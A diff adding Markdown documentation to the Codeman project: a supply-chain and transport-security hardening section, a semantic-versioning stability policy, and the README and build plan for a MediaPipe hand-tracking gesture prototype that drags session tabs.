+## 7. Supply‑chain & build‑asset hardening (COD‑28)
+
+- **Dependency advisories:** security‑sensitive ranges are bumped to patched
+  versions, and `overrides` force patched transitive deps (`picomatch`,
+  `basic-ftp`, `fast-uri`, `flatted`). `test/dependency-security.test.ts` asserts
+  these stay patched in the lockfile.
+- **Lockfile integrity:** `npm run check:lockfile` (CI on every push/PR) fails on
+  drift between `package.json` and `package-lock.json`. All lockfile entries
+  resolve to `registry.npmjs.org` with `sha512` integrity hashes.
+- **Public‑asset checker:** `npm run check:public-assets`
+  (`scripts/check-public-assets.mjs`) scans `src/web/public/**` for literal NUL
+  bytes and runs `node --check` on every `.js` file (syntax validation), plus a
+  Prettier pass on maintained files. It uses `execFileSync` with argv arrays (no
+  shell), so filenames/content cannot inject commands; `node --check` only parses,
+  never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
+  bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
+  syntax checks still cover them.
+
+---
+
+## 8. Multi‑instance isolation
+
+The tmux socket (`tmux -L codeman[-<instance>]`) and data dir
+(`~/.codeman[-<instance>]`) are **process‑wide and shared by every Codeman on the
+machine**, derived from `CODEMAN_INSTANCE` (`src/config/instance.ts`). A second
+instance on the **same** socket discovers and attaches PTYs to the first
+instance's live sessions. To run instances side by side, give each a distinct
+`CODEMAN_INSTANCE` (scopes both dir + socket), or set `CODEMAN_TMUX_SOCKET` +
+`CODEMAN_DATA_DIR` individually. `CODEMAN_INSTANCE` defaults to empty = the
+production layout (`~/.codeman`, `-L codeman`, port 3000).
+
+---
+
+## 9. Transport security headers
+
+`registerSecurityHeaders` (`src/web/middleware/auth.ts`) applies on every response:
+
+- **`Content-Security-Policy`** — baseline `default-src 'self'`, with these
+  deliberate widenings (so the policy is tighter than "self only" but every
+  exception is enumerated and same‑origin‑first):
+  - `script-src` / `style-src` / `font-src` also allow `https://cdn.jsdelivr.net`
+    (CDN fallback for a few libraries). `script-src` and `style-src` additionally
+    allow `'unsafe-inline'` — relevant to the SVG/HTML handling in §5, where the
+    `octet-stream` + `nosniff` download (not the CSP) is what blocks execution.
+    Because `'unsafe-inline'` is still present (removing it needs a nonce
+    migration), AI‑derived strings rendered into the subagent/activity panels are
+    HTML‑escaped at the injection sites (`escapeHtml` in
+    `src/web/public/constants.js`; sinks in `panels-ui.js` / `subagent-windows.js`)
+    so a hostile tool name or argument can't execute — defense‑in‑depth from the
+    2026‑06‑09 review (H4).
+  - `connect-src` allows `wss://api.deepgram.com` (streaming voice input).
+  - `img-src` allows `data:` and `blob:` (inline / generated images, QR codes).
+  - `frame-ancestors 'self'`.
+  - **Gesture opt‑in (`CODEMAN_GESTURE=1`):** `script-src` gains
+    `'wasm-unsafe-eval'` and a `worker-src 'self' blob:` directive is added, for
+    self‑hosted MediaPipe. Its wasm runtime + model are same‑origin under
+    `/gesture/`, so no extra `connect-src` entry is needed. OFF by default, so the
+    production CSP is byte‑for‑byte unchanged.
+- **`X-Content-Type-Options: nosniff`** — blocks MIME sniffing (pairs with §5).
+- **`X-Frame-Options: SAMEORIGIN`** — clickjacking defense (mirrors
+  `frame-ancestors 'self'`).
+- **`Strict-Transport-Security: max-age=31536000; includeSubDomains`** — only when
+  served over HTTPS (`--https`).
+- **CORS** — `Access-Control-Allow-Origin` is reflected **only** for origins whose
+  hostname is `localhost` / `127.0.0.1` / `::1`; any other origin gets no CORS
+  headers. `OPTIONS` preflights are answered `204`.

+# Versioning & Stability Policy
+
+Codeman follows [Semantic Versioning](https://semver.org/) (`MAJOR.MINOR.PATCH`),
+managed via `@changesets/cli` (see the COM workflow in `CLAUDE.md`).
+
+This document defines **what the version number actually promises** — i.e. which
+surfaces are covered by SemVer and which are explicitly not. It exists because
+"1.0" is a commitment to stability, and an undocumented public surface invites
+incompatible client assumptions we would then be pressured to keep.
+
+> **Status:** finalized for the 1.0 cut. The HTTP/SSE API **is** part of the stable
+> surface — served under `/api/v1` with a uniform response envelope and
+> conventional HTTP status codes. See [`api-reference.md`](api-reference.md).
+
+## What SemVer covers (the public, stable surface)
+
+A **MAJOR** bump is required to break any of these after 1.0:
+
+1. **The CLI.** Command names, documented flags, and their behavior for
+   `codeman <command>` (published to npm as `aicodeman`; invoked as `codeman`).
+   This is the package's actual public entry point (`bin`).
+   - The package is published to npm as `aicodeman` and installs **both** the
+     `aicodeman` and `codeman` commands (`bin` aliases); `codeman` is the
+     canonical command used throughout the docs. Renaming either after 1.0 is a
+     breaking change.
+2. **The published `xterm-zerolag-input` library**, but on **its own version
+   line** — it is versioned and released independently of the Codeman app. Its
+   1.0 status is a separate decision; the Codeman app reaching 1.0 does *not*
+   imply `xterm-zerolag-input` is 1.0.
+3. **Documented environment variables** that configure deployment:
+   `CODEMAN_PASSWORD`, `CODEMAN_USERNAME`, `CODEMAN_HOST`, `CODEMAN_PORT`,
+   `CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`, `CODEMAN_DATA_DIR`,
+   `CODEMAN_TMUX_SOCKET`, and the `--host` / `--port` / `--https` CLI flags.
+   Removing or changing the meaning of one of these is breaking.
+4. **The HTTP API and SSE event channel**, served under **`/api/v1`** with the
+   uniform `{success:true,data}` / `{success:false,error,errorCode}` envelope and
+   conventional HTTP status codes. Endpoint paths, the response envelope, error
+   `errorCode` values, and SSE event names are stable — see
+   [`api-reference.md`](api-reference.md). *Additive* changes (new endpoints, new
+   optional fields, new error codes, new SSE events) are non-breaking; breaking
+   changes ship under a new prefix (`/api/v2`). The unversioned `/api/...` alias
+   is kept working for the bundled UI.
+
+## What SemVer does NOT cover (internal surfaces — may change in any release)
+
+These may change in a **MINOR** (or even PATCH) release without a MAJOR bump:
+
+1. **The `~/.codeman/` state file formats** (`state.json`, `settings.json`,
+   `mux-sessions.json`, etc.). We make a **best-effort** to migrate existing data
+   forward (and have done so across renames), but the on-disk schema is not a
+   stable contract — do not write tooling that depends on its exact shape.
+2. **Internal TypeScript modules.** The npm package is CLI-only; `import`ing it
+   programmatically is not supported (there is no stable library entry point).
+3. **Experimental / opt-in features**, regardless of the app's version:
+   Gesture Control (beta), Agent Teams
+   (`CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`), and anything labeled experimental
+   in the UI or docs. These may change or be removed at any time.
+
+## Deprecation policy
+
+When we need to change a covered surface:
+
+- Prefer **additive** changes (new flag/env var/command) over breaking ones.
+- A covered surface slated for removal is **deprecated first** — it keeps working
+  for at least one MINOR release with a runtime warning and a `CHANGELOG.md` note
+  pointing to the replacement — then removed in the next MAJOR.
+- Back-compat migration shims (e.g. the historical Claudeman→Codeman data/socket
+  migration) are kept until a MAJOR boundary, then may be dropped.
+
+## Pre-1.0 (`0.x`) caveat
+
+Until 1.0 ships, **any release may contain breaking changes** per SemVer's `0.x`
+allowance. The commitments above take effect at `1.0.0`.

+# gesture-proto
+
+A Jarvis-style hand-tracking input layer for the Codeman dashboard. Your webcam
+sees your hands; you pinch-drag session tabs between columns. Runs entirely
+in-browser — **the camera feed never leaves the machine.**
+
+> **This build is pinch-drag only.** The discrete gesture commands (halt-all /
+> approve / new-session) were built in Phase 4 but are **intentionally not wired
+> up** — an open palm while reaching to pinch kept charging the hold-to-halt. The
+> `GestureController` core still emits `command`/`haltProgress` for any future
+> consumer; the demo just no longer listens.
+
+This is a standalone prototype (own folder, fake tabs) so the input *feel* can
+be validated on real hardware before integrating with Codeman. The canonical
+spec is **[`docs/BUILD_PLAN.md`](./docs/BUILD_PLAN.md)** — read it before
+continuing the build.
+
+---
+
+## Status: Phase 0–4 complete
+
+| Phase | What | State |
+|-------|------|-------|
+| 0 | Vite+TS scaffold, mirrored webcam preview, start button | ✅ done |
+| 1 | MediaPipe `GestureRecognizer` (VIDEO mode, CDN model+wasm), rAF loop, debug skeleton overlay, HUD | ✅ done |
+| — | **Checkpoint: ≥25fps on real camera/lighting** | ✅ 60fps (iPhone 17 Pro / Continuity Camera) |
+| 2 | One-Euro–filtered cursor + pinch detection (hysteresis) | ✅ done |
+| 3 | Drag fake tabs across 3 columns (state machine) — go/no-go | ✅ done (two-handed) |
+| 4 | Discrete gesture→command bus (👍 approve · ✌️ new-session · ✋-hold halt-all) + toast | ✅ built, ⛔ **unwired in the demo** (pinch-only) |
+| 5 | Integrate `gesture/` into real Codeman (`src/codeman/entry.ts`) | ✅ **working at the desk** — see [Codeman integration](#codeman-integration) |
+
+Also done beyond the original plan: **two-hand tracking** (drag two tabs at
+once) and a **live camera picker** (front-facing iPhone 17 Pro by default; the
+superwide / Desk View camera now works too — see the camera note below).
+
+Also: **fullscreen mode** (toggle button — the board fills the display, so grab
+targets get big).
+
+**Phase 5 is live** in the real Codeman dashboard. The Codeman-side detach +
+instance isolation + base gesture overlay are committed on `Ark0N/Codeman`
+branch `beta/session-detach` (open as **PR #103**) — including this session's
+gesture *improvements* (direct-detach, Run/Run Shell taps, self-hosted MediaPipe,
+cache-bust), ported onto the PR in commit `eea84db` (CI green). See
+[Codeman integration](#codeman-integration) below and the hand-off brief
+[`../docs/CODEMAN_DETACH_BRIEF.md`](../docs/CODEMAN_DETACH_BRIEF.md).
+
+**Multi-monitor mode — built & validated at the desk (2026-06-08).** Approach
+**A+C** (see [`../docs/MULTIMONITOR_DESIGN.md`](../docs/MULTIMONITOR_DESIGN.md)):
+(A) gesture "detach" now pops a session into a re-grabbable **in-page floating
+panel** (an `<iframe src="/session/:id">`, not an OS window — so the hand keeps
+control); (C) `scripts/span-codeman.sh` runs Codeman in a **single window spanned
+across both monitors** (Brave-first; needs macOS "Displays have separate Spaces"
+OFF + re-login), launchable one-click from a new **multi-monitor button** in
+Codeman's header. Confirmed: a panel drags across the monitor seam. Still pending:
+`getScreenDetails` screen-snapping (C-snap) and the re-dock gesture.
+
+---
+
+## Run it
+
+```bash
+cd gesture-proto
+npm install
+npm run dev
+```
+
+Open the URL Vite prints (http://localhost:5173). `getUserMedia` requires a
+secure context — `localhost` qualifies, so the dev server is fine. Click
+**Start camera**, allow the camera, hold a hand up. You should see each hand's
+21-point skeleton, a cursor ring per hand (cyan = left, violet = right, green
+while pinching), and a live HUD.
+
+**Choosing a camera:** after Start, the dropdown lists every video device. On a
+Mac with an iPhone nearby (Continuity Camera) you'll typically see the built-in
+FaceTime cam, the **iPhone Camera** (main/wide lens), and a **Desk View Camera**
+— the latter is driven by the iPhone's ultra-wide lens aimed down at the desk
+(the overhead angle). Switching is live; no restart needed. The browser can't
+select the ultra-wide lens directly, so Desk View is how you reach it. **The
+Desk View / superwide camera now works with no issues and tracking is confirmed
+on it** — earlier it was Safari-only and rendered stretched; that's resolved.
+
+**Using it:** point at a tab (it highlights), **pinch** thumb+index to grab,
+move to another Screen column, release to drop. Both hands work at once. **⛶
+Fullscreen** makes the board fill the display (Esc exits). No open-hand gesture
+commands in this build — it's pinch-drag only (see the note up top).
+
+Other scripts: `npm run build` (tsc + vite build), `npm run preview`.
+
+### Developing on the Mac mini, running on the MacBook
+
+The prototype is *run/tested* on the MacBook (better for sitting at the desk
+with the camera). To sync:
+
+```bash
+git pull          # on the MacBook
+cd gesture-proto && npm install && npm run dev
+```
+
+No machine-specific state is committed (`node_modules/`, `dist/`, and
+`.claude/settings.local.json` are gitignored).
+
+### Framerate note
+
+The HUD fps turns **green at ≥ 25**, amber below. Confirmed **60fps** on the
+iPhone 17 Pro (Continuity Camera). If it's ever low, improve **even, frontal
+lighting on the hand zone** first — that matters more than the sensor.
+
+---
+
+## Codeman integration
+
+Phase 5 ships a **separate consumer**, `src/codeman/entry.ts` (the demo +
+`main.ts` are untouched — they stay as a desk-testing harness). It imports the
+same unchanged `src/gesture/` core and binds its events to the **real** Codeman
+dashboard. Build it standalone (MediaPipe inlined) with:
+
+```bash
+npm run build:codeman      # esbuild → dist-codeman/gesture-codeman.js
+```
+
+Codeman serves that bundle at `/gesture/gesture-codeman.js` and injects it into
+the dashboard **only when started with `CODEMAN_GESTURE=1`** (which also widens
+its CSP for WebAssembly). Deploy = copy the bundle into Codeman's
+`src/web/public/gesture/` and reload (static is served from disk).
+
+**Gestures (all off one pinch, routed by what's under your fingertips):**
+- **Fullscreen camera** by default — mirrored, dimmed, full-viewport so you see
+  your hands over the real tabs; the **⛶** button toggles a corner preview.
+- **Grab → in-page floating panel** *(pivoted 2026-06-08 — replaced the old
+  OS-window detach)* — pinch a session tab, a ghost of it follows your hand, pull
+  it out of the strip (>70px) and release → the session pops into a **re-grabbable
+  in-page `.cg-float` panel** (an `<iframe src="/session/:id">`, 640×420) at the
+  drop point. Pinch the panel again to move it anywhere. It stays inside the
+  camera-owning page, so the hand keeps control (the old `window.app.detachSession`
+  `window.open` was a one-way trip). A small twitch-and-release cancels.
+- **Run / Run Shell** — pinch over the **Run** (`#runBtn`) or **Run Shell**
+  (`.btn-shell`) toolbar button and release in place to fire it; drifting too
+  far first cancels the tap. The button list is `CLICK_SELECTOR` in `entry.ts`.
+
+**Self-hosted MediaPipe.** The Codeman consumer loads the wasm runtime + the
+`gesture_recognizer.task` model **same-origin** from `/gesture/` (via
+`wasmBase`/`modelUrl` options), not the CDN — a browser content/ad blocker can
+otherwise block the CDN and startup fails with `failed: {"isTrusted":true}`.
+
+**Multi-monitor button.** Codeman's header has a **multi-monitor button** (it
+replaced the notification bell) → `POST /api/system/span-displays` → spawns
+`scripts/span-codeman.sh`, opening a fresh browser `--app` window spanned across
+all displays so floating panels can cross the monitor seam (PR #103 `95b0035`).
+
+**Caveats:** Codeman serves static with a 1-year **`immutable`** cache, so
+`server.ts` `cacheBustAssets()` appends `?v=<mtime>` to **every** same-origin
+`.js`/`.css` (and the gesture bundle), re-stat'd per render — without it an edited
+module stays cached until a hard refresh (PR #103 `b5ea711`). The old OS-window
+detach verb (kept only as a deliberate, non-default action) does `window.open`,
+which a pinch can get popup-blocked — allow popups once if you ever wire it back.

+demo's `tabs.ts`, later Codeman). Integration (Phase 5) is just subscribing and
+calling Codeman's existing tab-move / command functions.
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: stageEl,        // normalized coords map against this element's rect
+  numHands: 2,
+  pinchOn: 0.35, pinchOff: 0.5,   // pinch hysteresis (fractions of hand size)
+  minCutoff: 1.0, beta: 0.01,     // One-Euro cursor smoothing
+  palmHoldMs: 1000,               // Open_Palm hold before halt-all fires
+  deviceId: "",                   // specific camera; "" = default user-facing
+});
+
+// Drag events — surface pixels (X already mirrored), with a per-hand id.
+gc.on("grab", ({ hand, x, y }) => {});  // pinch closed → start drag
+gc.on("drag", ({ hand, x, y }) => {});  // moving while pinched (per frame)
+gc.on("drop", ({ hand, x, y }) => {});  // released (or hand vanished mid-pinch)
+
+// Discrete commands: "halt-all" | "approve" | "new-session".
+// Still emitted by the controller, but THIS build's demo does not subscribe
+// (pinch-only). Wire these up in Codeman (Phase 5) or re-enable in the demo.
+gc.on("command", ({ name }) => {});
+
+// Per-frame snapshot for HUD / hover highlighting / debug overlay.
+// `haltProgress` (0–1 Open_Palm charge) is also still emitted but unused here.
+gc.on("status", ({ fps, hands, haltProgress }) => {});
+//   hands: { handedness, cursor:{x,y}/*normalized*/, pinchDist, pinching, gesture }[]
+gc.on("results", ({ result, timestampMs }) => {}); // raw recognizer result
+
+await gc.start();              // requests camera, loads model
+await gc.useCamera(deviceId);  // switch camera live
+await gc.listCameras();        // enumerate video inputs
+gc.stop();
+```
+
+All events are live. Hover highlighting is derived from the `status` snapshot
+(not a dedicated event), since only the consumer can hit-test against its tabs.
+Full types in [`src/gesture/types.ts`](./src/gesture/types.ts).
+
+---
+
+## Tuning defaults (start here, then adjust by feel)
+
+- **One-Euro filter:** `minCutoff ≈ 1.0`, `beta ≈ 0.01`. Raise `beta` if drag
+  lags during fast moves; lower `minCutoff` if it jitters when still.
+- **Pinch:** `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference
+  distance, wrist→middle-MCP). Two thresholds = hysteresis = no flicker.
+- **Confidence:** detection/tracking ≈ 0.6. Lower if quick gestures get missed,
+  raise if you get false hands.
+- **Camera:** target 30–60fps, even frontal lighting on the hand zone.
+
+---
+
+## Design notes
+
+- **Standalone first.** Fake tabs let us validate feel before touching Codeman.
+- **Main thread first.** Inference runs on the main thread (60fps, no stutter);
+  a Web Worker stays an optional optimization only if the UI ever stutters.
+- **Two hands** (`numHands: 2`). Each hand keeps its own cursor + pinch state,
+  keyed by handedness so filters don't swap when MediaPipe reorders the hands.
+- **Camera angle: front-facing default; superwide now usable too** — iPhone 17
+  Pro main lens via Continuity Camera, pointing / pinch-to-grab grammar. The
+  superwide / Desk View (overhead, ultra-wide) camera now works with no issues
+  and tracking is confirmed on it; the earlier Safari-only / stretched blocker is
+  resolved. The in-app picker switches cameras live.
+- **Transport-agnostic controller.** It emits coordinate-only `grab`/`drag`/
+  `drop` + `command`; the consumer hit-tests. So Phase 5 only swaps the demo's
+  `tabs.ts` for Codeman wiring — the controller is untouched.

+# Codeman Gesture Control — Prototype Build Plan
+
+> Canonical spec for this project. A Jarvis-style hand-tracking input layer for
+> the Codeman dashboard. Webcam sees your hands; you pinch-drag session tabs
+> between Screen columns and fire discrete gesture commands. Runs entirely
+> in-browser, camera feed never leaves the machine.
+
+Build it as a **standalone prototype first** (its own folder, fake tabs) so the
+input feel can be validated on real hardware before any integration with
+Codeman's existing drag/command code.
+
+---
+
+## Goal & success criteria
+
+Build a `GestureController` module + a self-contained demo page that:
+
+1. Opens the webcam and runs MediaPipe Gesture Recognizer at ~30fps.
+2. Emits a smoothed cursor position and a `pinch` state (grab/release) from hand landmarks.
+3. Lets you **drag fake tabs between columns by pinching**, dropping on release.
+4. Fires **discrete gesture commands** (open palm, thumbs up, victory) onto an event bus.
+5. Feels responsive — drag lag is not perceptible, jitter is filtered out.
+
+**Done when:** you can sit at your desk, pinch a tab, move it to another column,
+release, and it lands — reliably, without visible jitter, with the camera
+mounted at your chosen angle.
+
+---
+
+## Tech stack
+
+- **MediaPipe Tasks Vision** (`@mediapipe/tasks-vision`) — `GestureRecognizer` in `VIDEO` running mode, `numHands: 1` for v1 (add 2 later). Loads the prebuilt `gesture_recognizer.task` model + WASM from CDN.
+- **Vanilla TS + Vite** for the prototype (no framework needed; keep it portable so the module drops into Codeman regardless of its stack). If Codeman is React, the module stays framework-agnostic and you wrap it in a hook at integration time.
+- **One-Euro filter** for cursor smoothing — implement it directly, it's ~40 lines and is the correct tool for noisy interactive landmark streams (low lag at speed, heavy smoothing when still).
+- **Web Worker** for inference is a **Phase 4** optimization — do NOT start there. Get it working on the main thread first; only move to a worker if the dashboard UI stutters.
+
+---

+---
+
+## Core algorithms (the parts that decide whether it feels good)
+
+### 1. Cursor from landmarks
+The drag cursor is the **midpoint of thumb tip (landmark 4) and index tip (landmark 8)**, in normalized [0,1] coords from MediaPipe.
+
+- **Mirror X** (`x = 1 - x`) — the webcam image is flipped relative to the user.
+- Map normalized → screen pixels against the dashboard's bounding rect.
+- Run the resulting (x, y) through **two independent One-Euro filters** (one per axis) before using it. Raw landmarks jitter by several pixels even when the hand is still; this is the single most important quality step.
+
+### 2. Pinch detection with hysteresis
+Compute euclidean distance between landmark 4 and landmark 8. **Normalize by hand size** (e.g. distance wrist→middle-finger-MCP, landmarks 0→9) so the threshold is robust to how close the hand is to the camera.
+
+- Use **two thresholds, not one** (hysteresis): enter pinch below `PINCH_ON` (e.g. 0.35 of hand size), exit only above `PINCH_OFF` (e.g. 0.5). This stops flickering between grab/release at the boundary — critical for not "dropping" a tab mid-drag.
+- Require the pinch state to persist N frames (e.g. 2–3) before firing, to reject single-frame noise.
+
+### 3. State machine
+```
+IDLE ──hand detected──> HOVER ──pinch on──> GRABBED ──pinch off──> (drop) ──> HOVER
+  ^                        |                                                    |
+  └────hand lost───────────┴────────────────hand lost────────────────────────┘
+```
+- `HOVER`: cursor moves, highlights the tab/column under it (hit-test).
+- `GRABBED`: the grabbed tab follows the cursor; emit `drag` events.
+- On `pinch off` in GRABBED: hit-test cursor against drop columns, emit `drop {tabId, targetColumnId}` or `dropCancelled` if outside any column.
+
+### 4. Discrete gestures → command bus
+From `result.gestures[0].categoryName`, debounced (fire once per gesture entry, not every frame while held):
+- `Open_Palm` held ~1s → `command: "halt-all"` (dead-man's-switch — pauses every session; genuinely useful for autonomous loops).
+- `Thumb_Up` → `command: "approve"`.
+- `Victory` → `command: "new-session"`.
+- Map these to the SAME command names your voice layer already dispatches, so both input sources converge on one dispatcher.
+
+---
+
+## GestureController public API (target shape)
+
+```ts
+const gc = new GestureController({
+  video: videoEl,
+  surface: dashboardEl,          // coords mapped against this element's rect
+  numHands: 1,
+  pinchOn: 0.35, pinchOff: 0.5,
+  palmHoldMs: 1000,
+});
+
+gc.on("hover",  ({ x, y, targetId }) => {...});
+gc.on("grab",   ({ x, y })           => {...});
+gc.on("drag",   ({ x, y })           => {...});  // throttled to frame rate
+gc.on("drop",   ({ targetColumnId }) => {...});
+gc.on("command",({ name })           => {...});  // halt-all | approve | new-session
+gc.on("status", ({ fps, handPresent, pinchDist }) => {...}); // debug HUD
+
+await gc.start();   // requests camera, loads model
+gc.stop();
+```
+
+Keep it **transport-agnostic**: it emits semantic events, it does NOT know about
+Codeman's DOM. Integration is just subscribing to these events and calling
+Codeman's existing tab-move / command functions.
+
+---
+
+## Phased build (each phase is independently testable — stop and feel it before moving on)
+
+**Phase 0 — Scaffold & camera (½ day)**
+Vite + TS project. `index.html` with a mirrored `<video>` and a "start" button (camera must be a user gesture). Confirm `getUserMedia` works and you see yourself. Must be served over http(s), not `file://`.
+
+**Phase 1 — Recognizer + debug overlay (½ day)**
+Load `GestureRecognizer` (`VIDEO` mode, CDN model+wasm). Run `recognizeForVideo(video, performance.now())` in a `requestAnimationFrame` loop. Draw the 21-point skeleton + an FPS counter on a canvas over the video. **Checkpoint: confirm you're getting ≥25fps on your actual camera/lighting setup.** Tune lighting here.
+
+**Phase 2 — Cursor + pinch (1 day)**
+Implement `OneEuroFilter` and `pinch.ts`. Render a cursor dot driven by the filtered thumb/index midpoint. Show live pinch distance in the HUD and a color change on grab. **Checkpoint: the dot is steady when your hand is still, and pinch grab/release is crisp with no flicker.** Tune filter constants (`minCutoff`, `beta`) and pinch thresholds here — this is where the "feel" is won or lost.
+
+**Phase 3 — Drag the fake tabs (1 day)**
+Build `tabs.ts`: 3 columns of draggable fake "sessions." Wire the state machine: hover-highlight, grab, drag-follow, drop-with-hit-test. **Checkpoint: you can move a tab across columns reliably 10/10 times.** This is the core demo and the real go/no-go for the whole idea.
+
+**Phase 4 — Discrete commands + polish (1 day)**
+Add gesture→command bus with debouncing and the 1s open-palm halt. Add an on-screen toast when a command fires. Optional: move inference to a Web Worker if the UI stutters; add second-hand support.
+
+**Phase 5 — Codeman integration (✅ working, 2026-06-07)**
+Drop `gesture/` into Codeman via a new consumer `src/codeman/entry.ts` (the core is unchanged; the demo's `main.ts` is *not* the integration point). It binds `grab`/`drag`/`drop` to real `.session-tab`s (grab-to-detach → `app.detachSession`) and pinch-taps the Run / Run Shell toolbar buttons. Runs in Codeman behind `CODEMAN_GESTURE=1`. See the detailed status under "Implementation status" below.
+
+> **Prerequisite (decided 2026-06-06, ✅ done 2026-06-07): Codeman tab-detach first.**
+> Codeman needed a **tab-detach / undock** feature — a session pops out into its
+> own browser window — *before* gesture wiring, because gestures can only drag DOM
+> *within* the one page that owns the camera (you can't drag a node across isolated
+> tabs/OS windows). So undock is a Codeman session-placement op the gesture `drop`
+> *triggers*. **Shipped** as `app.detachSession(id)` → `/session/:id` solo window +
+> BroadcastChannel sync + re-dock on close (the gesture layer calls it directly).
+> Per-monitor placement via `getScreenDetails` stays in the multi-monitor backlog.
+
+---
+
+## Tuning defaults to start from (then adjust by feel)
+- One-Euro: `minCutoff ≈ 1.0`, `beta ≈ 0.01` (raise `beta` if drag lags during fast moves; lower `minCutoff` if it's jittery when still).
+- Pinch: `PINCH_ON 0.35`, `PINCH_OFF 0.5` (fractions of hand-size reference distance).
+- `min_detection_confidence` / `min_tracking_confidence` ≈ 0.6; lower if quick gestures get missed, raise if you get false hands.
+- Camera: target 30–60fps, even frontal lighting on the hand zone (matters more than the sensor).
+
+---
+
+## Hardware note
+
+Prototype on the **MacBook M1 Max built-in cam** for zero-friction Phase 0–3.
+For the real setup, switch to **iPhone via Continuity Camera** mounted at desk
+level aimed at your hand-gesture zone — best sensor + best angle. Decide
+front-facing (pointing/pinch-to-grab) vs overhead (swipe/drag-on-a-plane) mount
+before Phase 3, since it slightly changes the gesture grammar.
+
+---
+
+## Implementation status (kept current)
+
+- ✅ Phase 0, ✅ Phase 1 — see top-level `CLAUDE.md` and `gesture-proto/README.md`.
+- ✅ Phase 1 fps checkpoint — 60fps on MacBook + iPhone 17 Pro (Continuity Camera).
+- ✅ Phase 2 — `OneEuroFilter.ts` + `pinch.ts`: filtered cursor dot + pinch hysteresis. Cursor + `pinchDist` + `pinching` on the `status` event; HUD shows pinch distance, cursor ring turns green on grab.
+- ✅ Phase 3 — `demo/tabs.ts`: 3 Screen columns of draggable session tabs. Controller owns the per-hand pinch state machine and emits `grab`/`drag`/`drop` in surface pixels (with a `hand` id); the demo hit-tests and moves tabs. Two-handed (drag two tabs at once); drop-on-vanish releases a tab if a pinched hand leaves frame.
+- ✅ Beyond plan — two-hand tracking (`numHands: 2`, filters keyed by handedness) and a live camera picker.
+- ✅ Camera (2026-06-06) — front-facing iPhone 17 Pro main lens (Chrome) is the default. **The superwide / Desk View (ultra-wide, overhead) camera now works with no issues and tracking is confirmed on it** — the earlier "Safari-only / stretched / unusable" finding is superseded. Pick either via the in-app camera picker.
+- ✅ Phase 4 (built) — `commands.ts`: debounced gesture→command bus. `Thumb_Up`→approve, `Victory`→new-session (edge-triggered, fire once per entry), `Open_Palm` held `palmHoldMs`→halt-all (dead-man's-switch) with a 0–1 `haltProgress` charge surfaced on `status`. Commands ignore a pinching (mid-drag) hand.
+- ⛔ **Phase 4 unwired in the demo (2026-06-06).** User wants pinch-drag only — an open palm while reaching to pinch kept charging the hold-to-halt. `main.ts` no longer subscribes to `command`/`haltProgress` and the command/charge toasts are gone. The `GestureController` core is untouched and still emits both events, so Phase 5 (or a re-enabled demo) can pick them up unchanged.
+- 🐛 **Drag-position fix (2026-06-06).** A `.dragging` tab is `position: absolute`; the `.column`s establish a containing block via `backdrop-filter`, so board-local left/top were offset by the column's own position — tabs in the middle/right columns flew to the right on grab. Fix: `tabs.ts` reparents the floating tab onto `#board` (no filter/transform) for the drag, so the coordinates `moveTo` computes match the containing block.
+- ✅ **Phase 5 — WORKING at the desk (2026-06-07).** Prerequisite cleared: Codeman tab-detach/undock works in the runtime (`app.detachSession(id)` is the idempotent hook). The gesture overlay runs live in the real Codeman dashboard on `:5000` and was confirmed by the user (normal tab): fullscreen cam + hand/cursor tracking, undock-by-pinch, and Run/Run Shell taps.
+  - **Integration shape: in-page overlay, built into Codeman beta.** The gesture `core` (`src/gesture/`) ships **unchanged**; the consumer is `src/codeman/entry.ts`, esbuild-bundled (`npm run build:codeman`) and served by Codeman at `/gesture/gesture-codeman.js`. A full-viewport, click-through overlay maps coords straight to `elementFromPoint`.
+  - **Gestures (routed by what the pinch lands on):** (a) **grab → in-page floating panel** *(⚠️ pivoted 2026-06-08 — was grab-to-detach)*: pinch a `.session-tab`, a ghost clone follows the hand, pull >`DETACH_PULL_PX` (70) and release → `floatSession(id, x, y)` spawns a re-grabbable `.cg-float` iframe of `/session/:id` (640×420). This **replaced** `window.app.detachSession(id)` (an OS window is a sealed box the hand can't move again — a one-way trip); the float stays in-page so the hand keeps control. See `../../docs/MULTIMONITOR_DESIGN.md`. (b) **Run / Run Shell taps** — pinch over `#runBtn`→`app.run()` / `.btn-shell`→`app.runShell()` and release in place; drift >`TAP_CANCEL_PX` (45) cancels. `CLICK_SELECTOR` is the extensible list. (c) **Fullscreen dimmed cam** by default, **⛶** toggles corner PiP.
+  - **Self-hosted MediaPipe (no CDN).** `entry.ts` passes `wasmBase: "/gesture/wasm"` + `modelUrl: "/gesture/gesture_recognizer.task"`; Codeman serves them same-origin. The CDN path failed in the normal browser tab (content/ad blocker blocking `jsdelivr`/`googleapis`) → surfaced as `failed: {"isTrusted":true}` once `entry.ts` learned to report non-Error throws. Core also gained a GPU→CPU delegate fallback.
+  - **Gated by `CODEMAN_GESTURE=1` (OFF by default).** Under the flag Codeman injects the module script (dashboard only, not `/session/:id` solo popups), cache-busts it with `?v=<mtime>` (static is `max-age=1y`), and widens CSP (`'wasm-unsafe-eval'` + `worker-src 'self' blob:`; same-origin assets now covered by `'self'`). Flag off ⇒ Codeman HTML/CSP unchanged.
+  - **Codeman-side / version control:** the detach + instance isolation + base gesture overlay are committed on `Ark0N/Codeman` branch `beta/session-detach`, open as **PR #103** (tip `afea6d6`; `ceca853` after I fixed its `auth.ts` format:check → CI green). Gotcha: the local prod clone `~/.codeman/app` tracks only `master`, so the branch is hidden until `git fetch origin beta/session-detach` (this briefly misled me into a bogus local reconstruction `03b31b8`, since deleted). The session improvements — direct-detach via `window.app.detachSession`, Run/Run Shell pinch-taps, self-hosted MediaPipe (`/gesture/wasm` + `.task`), and the `server.ts` mtime cache-bust — were **ported onto PR #103** in commit `eea84db` (CI green); their source is `Ark0N/codeman-gesture-control` (`src/codeman/entry.ts`).
+  - **Commits (gesture-proto):** `ddf9cda` (consumer: detach/cam/errors) → `2dd97da` (detach direct) → `21ef793` (Run/Run Shell taps) → `e055b79` (self-host MediaPipe).
+  - **Next:** tune feel; optional in-strip reorder (deferred — user chose detach-only) and more buttons (Stop). Discrete `command` events remain available but unwired (pinch-only). Hand-off brief: `../docs/CODEMAN_DETACH_BRIEF.md`.
+
+## Backlog (requested, for later)
+
